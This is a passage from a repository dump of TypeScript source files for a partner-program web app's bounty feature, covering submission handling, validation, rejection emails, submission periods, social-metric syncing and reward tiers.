socialMetricCount: metricValue,\n        socialMetricsLastSyncedAt: new Date(),\n      };\n\n      if (\n        metricValue &&\n        bountyInfo.socialMetrics!.minCount &&\n        metricValue >= bountyInfo.socialMetrics!.minCount\n      ) {\n        this.submissionData.status = \"submitted\";\n        this.submissionData.completedAt = new Date();\n      }\n    }\n  }\n\n  // Merge the submission data\n  private mergeSubmissionData() {\n    const bountyInfo = resolveBountyDetails(this.bounty);\n\n    const submissionRequirements = submissionRequirementsSchema\n      .nullable()\n      .parse(this.bounty.submissionRequirements);\n\n    const requireImage = !!submissionRequirements?.image;\n    const requireUrl = !!submissionRequirements?.url;\n\n    this.submissionData = {\n      ...this.submissionData,\n      ...(requireImage && { files: this.files }),\n      ...(!bountyInfo?.hasSocialMetrics &&\n        requireUrl && {\n          urls: [...this.urls].slice(0, BOUNTY_MAX_SUBMISSION_URLS),\n        }),\n      ...(this.description !== undefined && { description: this.description }),\n    };\n  }\n\n  // Persist the submission\n  private async persist(): Promise<BountySubmission> {\n    const existingSubmission = this.submissions.find(\n      (s) => s.periodNumber === this.finalPeriodNumber,\n    );\n\n    if (existingSubmission) {\n      return prisma.bountySubmission.update({\n        where: {\n          id: existingSubmission.id,\n        },\n        data: {\n          ...this.submissionData,\n        },\n      });\n    }\n\n    return prisma.bountySubmission.create({\n      data: {\n        ...this.submissionData,\n        id: createId({ prefix: \"bnty_sub_\" }),\n        programId: this.bounty.programId,\n        bountyId: this.bounty.id,\n        partnerId: this.partner.id,\n        periodNumber: this.finalPeriodNumber,\n      },\n    });\n  }\n\n  // Send notifications for the submission\n  private sendNotifications(submission: BountySubmission) {\n    const { partner, bounty } = this;\n    const programId = this.programId;\n\n    if (submission.status === \"draft\") {\n      return;\n    }\n\n    waitUntil(\n      (async () => {\n        const { users, program, ...workspace } = await getWorkspaceUsers({\n          programId,\n          role: WorkspaceRole.owner,\n          notificationPreference: \"newBountySubmitted\",\n        });\n\n        if (users.length > 0) {\n          await sendBatchEmail(\n            users.map((user) => ({\n              variant: \"notifications\" as const,\n              to: user.email,\n              subject: \"New bounty submission\",\n              react: NewBountySubmission({\n                email: user.email,\n                workspace: {\n                  slug: workspace.slug,\n                },\n                bounty: {\n                  id: bounty.id,\n                  name: bounty.name,\n                },\n                partner: {\n                  id: partner.id,\n                  name: partner.name,\n                  image: partner.image,\n                  email: partner.email ?? \"\",\n                },\n                submission: {\n                  id: submission.id,\n                },\n              }),\n            })),\n          );\n        }\n\n        if (partner.email && program) {\n          await sendEmail({\n            subject: \"Bounty submitted!\",\n            to: partner.email,\n            replyTo: program.supportEmail || \"noreply\",\n            react: BountySubmitted({\n              email: partner.email,\n              bounty: {\n                name: bounty.name,\n              },\n              program: {\n                name: program.name,\n                slug: program.slug,\n              },\n            }),\n          });\n        }\n      })(),\n    );\n  }\n}\n\nfunction getPlatformFromSocialUrl(url: string): PlatformType | null {\n  const trimmed = url?.trim();\n\n  if (!trimmed || !isValidUrl(trimmed)) {\n    return null;\n  }\n\n  try {\n    const parsed = new URL(trimmed);\n    const host = parsed.hostname.replace(/^www\\./, \"\");\n\n    return SOCIAL_URL_HOST_TO_PLATFORM[host] ?? null;\n  } catch {\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/generate-performance-bounty-name.ts",
    "content": "import { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { BountyPerformanceCondition } from \"@/lib/types\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"./performance-bounty-scope-attributes\";\n\nexport const generatePerformanceBountyName = ({\n  rewardAmount,\n  condition,\n}: {\n  rewardAmount: number;\n  condition: BountyPerformanceCondition;\n}) => {\n  const isCurrency = isCurrencyAttribute(condition.attribute);\n  const attributeLabel =\n    PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[condition.attribute];\n  const valueFormatted = isCurrency\n    ? `${currencyFormatter(condition.value, { trailingZeroDisplay: \"stripIfInteger\" })} in`\n    : `${nFormatter(condition.value, { full: true })}`;\n\n  return `Earn ${currencyFormatter(rewardAmount, { trailingZeroDisplay: \"stripIfInteger\" })} after generating ${valueFormatted} ${attributeLabel.toLowerCase()}`;\n};\n"
  },
  {
    "path": "apps/web/lib/bounty/api/get-bounties-by-groups.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Bounty } from \"@dub/prisma/client\";\n\nexport async function getBountiesByGroups({\n  programId,\n  groupIds,\n}: {\n  programId: string;\n  groupIds: string[];\n}) {\n  const bounties = await prisma.bounty.findMany({\n    where: {\n      programId,\n      AND: [\n        {\n          OR: [\n            { groups: { none: {} } },\n            { groups: { some: { groupId: { in: groupIds } } } },\n          ],\n        },\n      ],\n    },\n    include: {\n      groups: true,\n    },\n  });\n\n  const bountiesByGroups: Record<string, Bounty[]> = {};\n\n  // Note: global bounties are not included here\n  for (const groupId of groupIds) {\n    bountiesByGroups[groupId] = bounties.filter((bounty) =>\n      bounty.groups.some((g) => g.groupId === groupId),\n    );\n  }\n\n  return bountiesByGroups;\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/get-bounty-or-throw.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\n\ninterface GetBountyOrThrowParams<T extends Prisma.BountyInclude = {}> {\n  programId: string;\n  bountyId: string;\n  include?: T;\n}\n\nexport async function getBountyOrThrow<T extends Prisma.BountyInclude = {}>({\n  programId,\n  bountyId,\n  include,\n}: GetBountyOrThrowParams<T>): Promise<\n  Prisma.BountyGetPayload<{ include: T }>\n> {\n  const bounty = await prisma.bounty.findUnique({\n    where: {\n      id: bountyId,\n    },\n    include,\n  });\n\n  if (!bounty) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty ${bountyId} not found.`,\n    });\n  }\n\n  if (bounty.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty ${bountyId} not found.`,\n    });\n  }\n\n  return bounty as Prisma.BountyGetPayload<{ include: T }>;\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/get-bounty-with-details.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { prisma } from \"@dub/prisma\";\n\nexport const getBountyWithDetails = async ({\n  bountyId,\n  programId,\n}: {\n  bountyId: string;\n  programId: string;\n}) => {\n  const bounties = (await prisma.$queryRaw`\n    SELECT\n      b.id,\n      b.name,\n      b.description,\n      b.type,\n      b.startsAt,\n      b.endsAt,\n      b.submissionsOpenAt,\n      b.submissionFrequency,\n      b.maxSubmissions,\n      b.rewardAmount,\n      b.rewardDescription,\n      b.submissionRequirements,\n      b.socialMetricsLastSyncedAt,\n      b.performanceScope,\n      wf.triggerConditions,\n\n      --  Bounty groups\n      COALESCE(\n        (\n          SELECT JSON_ARRAYAGG(\n            JSON_OBJECT('id', groupId)\n          )\n          FROM BountyGroup\n          WHERE bountyId = b.id\n        ),\n        JSON_ARRAY()\n      ) AS \\`groups\\`\n\n    FROM Bounty b\n    LEFT JOIN Workflow wf ON wf.id = b.workflowId\n    WHERE b.id = ${bountyId} AND b.programId = ${programId}\n    LIMIT 1\n  `) satisfies Array<any>;\n\n  if (!bounties.length) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty ${bountyId} not found.`,\n    });\n  }\n\n  const bounty = bounties[0];\n  const performanceCondition =\n    bounty.triggerConditions?.length > 0 ? bounty.triggerConditions[0] : null;\n  const performanceScope = bounty.performanceScope;\n\n  return {\n    id: bounty.id,\n    name: bounty.name,\n    description: bounty.description,\n    type: bounty.type,\n    startsAt: bounty.startsAt,\n    endsAt: bounty.endsAt,\n    submissionsOpenAt: bounty.submissionsOpenAt,\n    submissionFrequency: bounty.submissionFrequency,\n    maxSubmissions: bounty.maxSubmissions,\n    rewardAmount: bounty.rewardAmount,\n    rewardDescription: bounty.rewardDescription,\n    submissionRequirements: bounty.submissionRequirements,\n    socialMetricsLastSyncedAt: bounty.socialMetricsLastSyncedAt ?? null,\n    performanceScope,\n    performanceCondition,\n    groups: bounty.groups.filter((group) => group !== null) ?? [],\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/bounty/api/get-group-bounty-summaries.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { BountyType } from \"@dub/prisma/client\";\n\nexport type GroupBountySummary = {\n  id: string;\n  name: string;\n  type: BountyType;\n};\n\ntype BountyEligibilityCandidate = {\n  id: string;\n  name: string | null;\n  type: BountyType;\n  startsAt: Date;\n  endsAt: Date | null;\n  archivedAt: Date | null;\n  groups: { groupId: string }[];\n};\n\nexport function filterActiveGroupBounties(\n  bounties: BountyEligibilityCandidate[],\n  {\n    groupId,\n    now = new Date(),\n  }: {\n    groupId: string;\n    now?: Date;\n  },\n) {\n  return bounties.filter((bounty) => {\n    if (bounty.archivedAt) {\n      return false;\n    }\n\n    if (bounty.startsAt > now) {\n      return false;\n    }\n\n    if (bounty.endsAt && bounty.endsAt <= now) {\n      return false;\n    }\n\n    return (\n      bounty.groups.length === 0 ||\n      bounty.groups.some((group) => group.groupId === groupId)\n    );\n  });\n}\n\nexport async function getGroupBountySummaries({\n  programId,\n  groupId,\n  now = new Date(),\n}: {\n  programId: string;\n  groupId: string;\n  now?: Date;\n}) {\n  const bounties = await prisma.bounty.findMany({\n    where: {\n      programId,\n    },\n    select: {\n      id: true,\n      name: true,\n      type: true,\n      startsAt: true,\n      endsAt: true,\n      archivedAt: true,\n      groups: {\n        select: {\n          groupId: true,\n        },\n      },\n    },\n    orderBy: {\n      startsAt: \"asc\",\n    },\n  });\n\n  return filterActiveGroupBounties(bounties, { groupId, now }).map(\n    (bounty) => ({\n      id: bounty.id,\n      name: bounty.name || \"Untitled bounty\",\n      type: bounty.type,\n    }),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/get-social-metrics-updates.ts",
    "content": "import { getSocialContent } from \"@/lib/api/scrape-creators/get-social-content\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { Bounty, BountySubmission } from \"@dub/prisma/client\";\n\nexport type SocialMetricsUpdate = Pick<\n  BountySubmission,\n  \"id\" | \"socialMetricCount\" | \"socialMetricsLastSyncedAt\"\n>;\n\nconst submissionWithUrl = (submission: { id: string; urls: unknown }) => {\n  const first =\n    Array.isArray(submission.urls) && submission.urls.length > 0\n      ? submission.urls[0]\n      : null;\n\n  const url =\n    typeof first === \"string\" && first.trim().length > 0 ? first.trim() : null;\n\n  return {\n    submissionId: submission.id,\n    url,\n  };\n};\n\nexport async function getSocialMetricsUpdates({\n  bounty,\n  submissions,\n}: {\n  bounty: Pick<Bounty, \"submissionRequirements\">;\n  submissions: { id: string; urls: unknown } | { id: string; urls: unknown }[];\n}): Promise<SocialMetricsUpdate[]> {\n  const bountyInfo = resolveBountyDetails(bounty);\n  const socialPlatform = bountyInfo?.socialPlatform;\n  const socialMetrics = bountyInfo?.socialMetrics;\n\n  if (\n    !bountyInfo?.hasSocialMetrics ||\n    !socialPlatform?.value ||\n    !socialMetrics\n  ) {\n    return [];\n  }\n\n  const list = Array.isArray(submissions) ? submissions : [submissions];\n  const toProcess = list.map(submissionWithUrl).filter((s) => s.url !== null);\n\n  if (toProcess.length === 0) {\n    return [];\n  }\n\n  const results = await Promise.allSettled(\n    toProcess.map((s) =>\n      getSocialContent({\n        platform: socialPlatform.value,\n        url: s.url!,\n      }),\n    ),\n  );\n\n  const submissionById = new Map(list.map((s) => [s.id, s]));\n  const updates: SocialMetricsUpdate[] = [];\n\n  for (let i = 0; i < results.length; i++) {\n    const result = results[i];\n\n    if (result.status !== \"fulfilled\") {\n      continue;\n    }\n\n    const submission = submissionById.get(toProcess[i].submissionId);\n\n    if (!submission) {\n      continue;\n    }\n\n    const socialContent = result.value;\n    const socialMetricCount = socialContent[socialMetrics.metric];\n\n    if (\n      socialMetricCount === null ||\n      socialMetricCount === undefined ||\n      !Number.isInteger(socialMetricCount)\n    ) {\n      continue;\n    }\n\n    updates.push({\n      id: submission.id,\n      socialMetricCount,\n      socialMetricsLastSyncedAt: new Date(),\n    });\n  }\n\n  return updates;\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/performance-bounty-scope-attributes.ts",
    "content": "export const PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES: Record<\n  \"totalLeads\" | \"totalConversions\" | \"totalSaleAmount\" | \"totalCommissions\",\n  string\n> = {\n  totalLeads: \"Leads\",\n  totalConversions: \"Conversions\",\n  totalSaleAmount: \"Revenue\",\n  totalCommissions: \"Commissions\",\n} as const;\n"
  },
  {
    "path": "apps/web/lib/bounty/api/reject-bounty-submission.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { Session } from \"@/lib/auth\";\nimport { REJECT_BOUNTY_SUBMISSION_REASONS } from \"@/lib/bounty/constants\";\nimport {\n  BountySubmissionSchema,\n  rejectBountySubmissionBodySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport { sendEmail } from \"@dub/email\";\nimport BountyRejected from \"@dub/email/templates/bounty-rejected\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\n\ninterface RejectBountySubmissionParams\n  extends z.infer<typeof rejectBountySubmissionBodySchema> {\n  bountyId?: string;\n  programId: string;\n  submissionId: string;\n  user: Session[\"user\"];\n}\n\nexport async function rejectBountySubmission({\n  programId,\n  bountyId,\n  submissionId,\n  rejectionReason = \"other\",\n  rejectionNote,\n  user,\n}: RejectBountySubmissionParams) {\n  const submission = await prisma.bountySubmission.findUnique({\n    where: {\n      id: submissionId,\n    },\n    select: {\n      programId: true,\n      bountyId: true,\n      status: true,\n      bounty: {\n        select: {\n          name: true,\n        },\n      },\n    },\n  });\n\n  if (!submission) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} not found.`,\n    });\n  }\n\n  if (submission.programId !== programId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} does not belong to program ${programId}.`,\n    });\n  }\n\n  if (bountyId && submission.bountyId !== bountyId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Bounty submission ${submissionId} not found for bounty ${bountyId}.`,\n    });\n  }\n\n  if (submission.status === \"draft\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This bounty submission is in progress and cannot be rejected.\",\n    });\n  }\n\n  if (submission.status === \"rejected\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"This bounty submission has already been rejected.\",\n    });\n  }\n\n  if (submission.status === \"approved\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"This bounty submission has already been approved and cannot be rejected.\",\n    });\n  }\n\n  const bounty = submission.bounty;\n\n  const rejectedSubmission = await prisma.bountySubmission.update({\n    where: {\n      id: submissionId,\n    },\n    data: {\n      status: \"rejected\",\n      reviewedAt: new Date(),\n      userId: user.id,\n      rejectionReason,\n      rejectionNote,\n      commissionId: null,\n    },\n    include: {\n      partner: {\n        select: {\n          id: true,\n          email: true,\n        },\n      },\n      program: {\n        select: {\n          workspaceId: true,\n          id: true,\n          name: true,\n          slug: true,\n          supportEmail: true,\n        },\n      },\n    },\n  });\n\n  const { program, partner } = rejectedSubmission;\n\n  waitUntil(\n    Promise.allSettled([\n      recordAuditLog({\n        workspaceId: program.workspaceId,\n        programId: program.id,\n        action: \"bounty_submission.rejected\",\n        description: `Bounty submission rejected for ${partner.id}`,\n        actor: user,\n        targets: [\n          {\n            type: \"bounty_submission\",\n            id: submissionId,\n            metadata: BountySubmissionSchema.parse(rejectedSubmission),\n          },\n        ],\n      }),\n\n      partner.email &&\n        sendEmail({\n          subject: \"Bounty rejected\",\n          to: partner.email,\n          variant: \"notifications\",\n          replyTo: program.supportEmail || \"noreply\",\n          react: BountyRejected({\n            email: partner.email,\n            program: {\n              name: program.name,\n              slug: program.slug,\n            },\n            bounty: {\n              name: bounty.name,\n            },\n            submission: {\n              rejectionReason:\n                REJECT_BOUNTY_SUBMISSION_REASONS[rejectionReason],\n              rejectionNote,\n            },\n          }),\n        }),\n    ]),\n  );\n\n  return BountySubmissionSchema.parse(rejectedSubmission);\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/trigger-draft-bounty-submissions.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { Bounty } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { getBountiesByGroups } from \"./get-bounties-by-groups\";\n\n// Trigger the creation of draft submissions for performance bounties that uses lifetime stats for the given partners\nexport async function triggerDraftBountySubmissionCreation({\n  programId,\n  partnerIds,\n}: {\n  programId: string;\n  partnerIds: string[];\n}) {\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId,\n    },\n    select: {\n      partnerId: true,\n      groupId: true,\n    },\n  });\n\n  if (programEnrollments.length === 0) {\n    return;\n  }\n\n  const groupIds = [\n    ...new Set(\n      programEnrollments\n        .map(({ groupId }) => groupId)\n        .filter((id): id is string => id !== null),\n    ),\n  ];\n\n  const bountiesByGroups = await getBountiesByGroups({\n    programId,\n    groupIds,\n  });\n\n  const partnersByGroup = programEnrollments.reduce(\n    (acc, enrollment) => {\n      if (enrollment.groupId) {\n        acc[enrollment.groupId] = [\n          ...(acc[enrollment.groupId] || []),\n          enrollment.partnerId,\n        ];\n      }\n      return acc;\n    },\n    {} as Record<string, string[]>,\n  );\n\n  for (const groupId in bountiesByGroups) {\n    const eligibleBounties = bountiesByGroups[groupId].filter((bounty) =>\n      isEligiblePerformanceBounty(bounty),\n    );\n\n    if (eligibleBounties.length === 0) {\n      console.log(\n        `No eligible bounties found for the group ${groupId}. Either there are no performance bounties, or there are no lifetime stats.`,\n      );\n      continue;\n    }\n\n    const groupPartnerIds = partnersByGroup[groupId] || [];\n\n    if (groupPartnerIds.length === 0) {\n      console.log(`No partners found for the group ${groupId}.`);\n      continue;\n    }\n\n    console.log(\n      `Found ${eligibleBounties.length} eligible bounties for the group ${groupId}.`,\n    );\n\n    await Promise.allSettled(\n      eligibleBounties.map((bounty) =>\n        qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/create-draft-submissions`,\n          body: {\n            bountyId: bounty.id,\n            partnerIds: groupPartnerIds,\n          },\n        }),\n      ),\n    );\n  }\n}\n\nfunction isEligiblePerformanceBounty(bounty: Bounty) {\n  const now = new Date();\n\n  if (bounty.type !== \"performance\") return false;\n  if (bounty.performanceScope === \"new\") return false;\n  if (bounty.startsAt > now) return false;\n  if (bounty.endsAt && bounty.endsAt <= now) return false;\n\n  return true;\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/api/validate-bounty.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { CreateBountyInput } from \"@/lib/types\";\n\nexport function validateBounty({\n  type,\n  startsAt,\n  endsAt,\n  submissionsOpenAt,\n  submissionFrequency,\n  maxSubmissions,\n  rewardAmount,\n  rewardDescription,\n  performanceScope,\n}: Partial<CreateBountyInput>) {\n  startsAt = startsAt || new Date();\n\n  if (endsAt && endsAt < startsAt) {\n    throw new DubApiError({\n      message:\n        \"Bounty end date (endsAt) must be on or after start date (startsAt).\",\n      code: \"bad_request\",\n    });\n  }\n\n  if (submissionsOpenAt) {\n    if (!endsAt) {\n      throw new DubApiError({\n        message:\n          \"An end date is required to determine when the submission window opens.\",\n        code: \"bad_request\",\n      });\n    }\n\n    if (submissionsOpenAt < startsAt) {\n      throw new DubApiError({\n        message:\n          \"Bounty submissions open date (submissionsOpenAt) must be on or after start date (startsAt).\",\n        code: \"bad_request\",\n      });\n    }\n\n    if (submissionsOpenAt > endsAt) {\n      throw new DubApiError({\n        message:\n          \"Bounty submissions open date (submissionsOpenAt) must be on or before end date (endsAt).\",\n        code: \"bad_request\",\n      });\n    }\n  }\n\n  if (rewardAmount === null || rewardAmount === 0) {\n    if (type === \"performance\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Reward amount is required for performance bounties.\",\n      });\n    }\n\n    if (!rewardDescription) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"For submission bounties, either reward amount or reward description is required.\",\n      });\n    }\n  }\n\n  if (!performanceScope && type === \"performance\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"performanceScope must be set for performance bounties.\",\n    });\n  }\n\n  // submission bounty checks\n  if (type === \"submission\") {\n    if (submissionFrequency && maxSubmissions == null) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"maxSubmissions is required when submissionFrequency is set.\",\n      });\n    }\n\n    if (submissionFrequency && !endsAt) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"An end date is required when submissionFrequency is set.\",\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/constants.ts",
    "content": "import { BountySubmissionFrequency } from \"@dub/prisma/client\";\n\nexport const BOUNTY_DESCRIPTION_MAX_LENGTH = 5000;\n\nexport const BOUNTY_MAX_SUBMISSIONS = 10;\n\nexport const BOUNTY_MAX_SUBMISSION_FILES = 4;\n\nexport const BOUNTY_DEFAULT_SUBMISSION_URLS = 10;\n\nexport const BOUNTY_MAX_SUBMISSION_URLS = 100;\n\nexport const BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH = 1000;\n\nexport const BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH = 5000;\n\nexport const BOUNTY_SUBMISSION_REQUIREMENTS = [\"image\", \"url\"] as const;\n\nexport const REJECT_BOUNTY_SUBMISSION_REASONS = {\n  invalidProof: \"Invalid proof\",\n  duplicateSubmission: \"Duplicate submission\",\n  outOfTimeWindow: \"Out of time window\",\n  didNotMeetCriteria: \"Did not meet criteria\",\n  other: \"Other\",\n} as const;\n\nexport const SUBMISSION_FREQUENCY_OPTIONS = [\n  { label: \"Once a day\", value: BountySubmissionFrequency.day },\n  { label: \"Once a week\", value: BountySubmissionFrequency.week },\n  { label: \"Once a month\", value: BountySubmissionFrequency.month },\n] as const;\n"
  },
  {
    "path": "apps/web/lib/bounty/periods.ts",
    "content": "import { BountySubmissionFrequency } from \"@dub/prisma/client\";\nimport { addDays, addMonths, addWeeks } from \"date-fns\";\n\nexport type SubmissionPeriodStatus =\n  | \"notSubmitted\"\n  | \"notOpen\"\n  | \"draft\"\n  | \"submitted\"\n  | \"approved\"\n  | \"rejected\";\n\nexport interface SubmissionPeriod<TSubmission = unknown> {\n  periodNumber: number;\n  label: string;\n  startDate: Date;\n  endDate: Date;\n  status: SubmissionPeriodStatus;\n  submission: TSubmission | null;\n}\n\n// Add a frequency-based duration to a date.\nexport function addFrequency({\n  date,\n  frequency,\n  amount,\n}: {\n  date: Date;\n  frequency: BountySubmissionFrequency;\n  amount: number;\n}): Date {\n  switch (frequency) {\n    case \"day\":\n      return addDays(date, amount);\n    case \"week\":\n      return addWeeks(date, amount);\n    case \"month\":\n      return addMonths(date, amount);\n    default:\n      return addWeeks(date, amount);\n  }\n}\n\n// Get a human-readable label for a period (0-indexed input).\nexport function getPeriodLabel(\n  frequency: BountySubmissionFrequency | null,\n  index: number,\n): string {\n  const n = index + 1;\n\n  if (!frequency) {\n    return `Submission ${n}`;\n  }\n\n  switch (frequency) {\n    case \"day\":\n      return `Day ${n}`;\n    case \"week\":\n      return `Week ${n}`;\n    case \"month\":\n      return `Month ${n}`;\n    default:\n      return `Week ${n}`;\n  }\n}\n\n/**\n * Determine the current active period number (1-indexed) based on\n * the bounty's startsAt, submissionFrequency, and maxSubmissions.\n * Returns null if now is before startsAt or after all periods.\n * For single-submission bounties, always returns 1 (if started).\n */\nexport function getCurrentPeriodNumber({\n  startsAt,\n  endsAt,\n  submissionFrequency,\n  maxSubmissions,\n}: {\n  startsAt: Date;\n  endsAt: Date | null;\n  submissionFrequency: BountySubmissionFrequency | null;\n  maxSubmissions: number;\n}): number | null {\n  const now = new Date();\n  const start = new Date(startsAt);\n\n  if (now < start) {\n    return null;\n  }\n\n  if (maxSubmissions < 2) {\n    const end = endsAt ? new Date(endsAt) : null;\n    return end && now >= end ? null : 1;\n  }\n\n  // all periods open, caller picks\n  if (!submissionFrequency) {\n    return null;\n  }\n\n  for (let i = 0; i < maxSubmissions; i++) {\n    const periodStart = addFrequency({\n      date: start,\n      frequency: submissionFrequency,\n      amount: i,\n    });\n\n    let periodEnd: Date;\n\n    if (i < maxSubmissions - 1) {\n      periodEnd = addFrequency({\n        date: start,\n        frequency: submissionFrequency,\n        amount: i + 1,\n      });\n    } else if (endsAt) {\n      periodEnd = new Date(endsAt);\n    } else {\n      periodEnd = addFrequency({\n        date: start,\n        frequency: submissionFrequency,\n        amount: i + 1,\n      });\n    }\n\n    if (now >= periodStart && now < periodEnd) {\n      return i + 1;\n    }\n  }\n\n  return null;\n}\n\n// Build the list of submission periods, matching submissions by periodNumber.\nexport function getSubmissionPeriods<\n  TSubmission extends { periodNumber: number; status: string },\n>({\n  startsAt,\n  endsAt,\n  submissionFrequency,\n  maxSubmissions,\n  submissions,\n}: {\n  startsAt: Date;\n  endsAt: Date | null;\n  submissionFrequency: BountySubmissionFrequency | null;\n  maxSubmissions: number;\n  submissions: TSubmission[];\n}): SubmissionPeriod<TSubmission>[] {\n  const now = new Date();\n  const start = new Date(startsAt);\n  const end = endsAt ? new Date(endsAt) : null;\n\n  // Case 1: Single-submission bounty\n  if (maxSubmissions < 2) {\n    let status: SubmissionPeriodStatus;\n    const submission = submissions.find((s) => s.periodNumber === 1) ?? null;\n\n    if (submission) {\n      status = submission.status as SubmissionPeriodStatus;\n    } else if (now < start) {\n      status = \"notOpen\";\n    } else {\n      status = \"notSubmitted\";\n    }\n\n    return [\n      {\n        periodNumber: 1,\n        label: \"Submission\",\n        startDate: start,\n        endDate: end ?? start,\n        status,\n        submission,\n      },\n    ];\n  }\n\n  // Case 2: Multi-submission WITHOUT frequency — all periods open immediately\n  if (!submissionFrequency) {\n    const periods: SubmissionPeriod<TSubmission>[] = [];\n\n    for (let i = 0; i < maxSubmissions; i++) {\n      const periodNumber = i + 1;\n      const submissionForPeriod =\n        submissions.find((s) => s.periodNumber === periodNumber) ?? null;\n\n      let status: SubmissionPeriodStatus;\n\n      if (submissionForPeriod) {\n        status = submissionForPeriod.status as SubmissionPeriodStatus;\n      } else if (now < start) {\n        status = \"notOpen\";\n      } else {\n        status = \"notSubmitted\";\n      }\n\n      periods.push({\n        periodNumber,\n        label: getPeriodLabel(null, i),\n        startDate: start,\n        endDate: end ?? start,\n        status,\n        submission: submissionForPeriod,\n      });\n    }\n\n    return periods;\n  }\n\n  // Case 3: Multi-submission WITH frequency — time-gated periods\n  // All periods share the same end date (bounty end) so partners can submit\n  // for any period up until the final deadline.\n  const periods: SubmissionPeriod<TSubmission>[] = [];\n  const periodEndDate =\n    end ??\n    addFrequency({\n      date: start,\n      frequency: submissionFrequency,\n      amount: maxSubmissions,\n    });\n\n  for (let i = 0; i < maxSubmissions; i++) {\n    const periodNumber = i + 1;\n    const startDate = addFrequency({\n      date: start,\n      frequency: submissionFrequency,\n      amount: i,\n    });\n    const endDate = periodEndDate;\n\n    const submissionForPeriod =\n      submissions.find((s) => s.periodNumber === periodNumber) ?? null;\n\n    let status: SubmissionPeriodStatus;\n\n    if (submissionForPeriod) {\n      status = submissionForPeriod.status as SubmissionPeriodStatus;\n    } else if (now < startDate) {\n      status = \"notOpen\";\n    } else {\n      status = \"notSubmitted\";\n    }\n\n    periods.push({\n      periodNumber,\n      label: getPeriodLabel(submissionFrequency, i),\n      startDate,\n      endDate,\n      status,\n      submission: submissionForPeriod,\n    });\n  }\n\n  return periods;\n}\n"
  },
  {
    "path": "apps/web/lib/bounty/rewards.ts",
    "content": "import { Prisma } from \"@dub/prisma/client\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { BountyProps, BountySubmissionProps } from \"../types\";\nimport { resolveBountyDetails } from \"./utils\";\n\ninterface BountyInfoInput {\n  submissionRequirements?: Prisma.JsonValue | undefined | null;\n  rewardAmount?: number | undefined | null;\n}\n\nexport interface SocialMetricsRewardTier {\n  threshold: number;\n  rewardAmount: number;\n  status: \"met\" | \"unmet\";\n}\n\nexport function getSocialMetricsRewardTiers({\n  bounty,\n  submission,\n}: {\n  bounty: BountyInfoInput | undefined | null;\n  submission: Pick<BountySubmissionProps, \"socialMetricCount\">;\n}): SocialMetricsRewardTier[] {\n  const bountyInfo = resolveBountyDetails(bounty);\n  const socialMetrics = bountyInfo?.socialMetrics;\n  const rewardAmount = bounty?.rewardAmount ?? 0;\n  const socialMetricCount = submission.socialMetricCount ?? 0;\n\n  if (!socialMetrics?.metric || !socialMetrics.minCount || rewardAmount <= 0) {\n    return [];\n  }\n\n  const { minCount, incrementalBonus } = socialMetrics;\n\n  // Base tier\n  const tiers: SocialMetricsRewardTier[] = [\n    {\n      threshold: minCount,\n      rewardAmount,\n      status: socialMetricCount >= minCount ? \"met\" : \"unmet\",\n    },\n  ];\n\n  if (tiers[0].status === \"unmet\") {\n    return tiers;\n  }\n\n  // Incremental bonus tiers\n  if (incrementalBonus) {\n    const { incrementCount, bonusPerIncrement, maxCount } = incrementalBonus;\n\n    const hasValidIncrementalBonus =\n      incrementCount != null &&\n      bonusPerIncrement != null &&\n      maxCount != null &&\n      incrementCount > 0;\n\n    if (hasValidIncrementalBonus) {\n      for (\n        let t = minCount + incrementCount;\n        t <= maxCount;\n        t += incrementCount\n      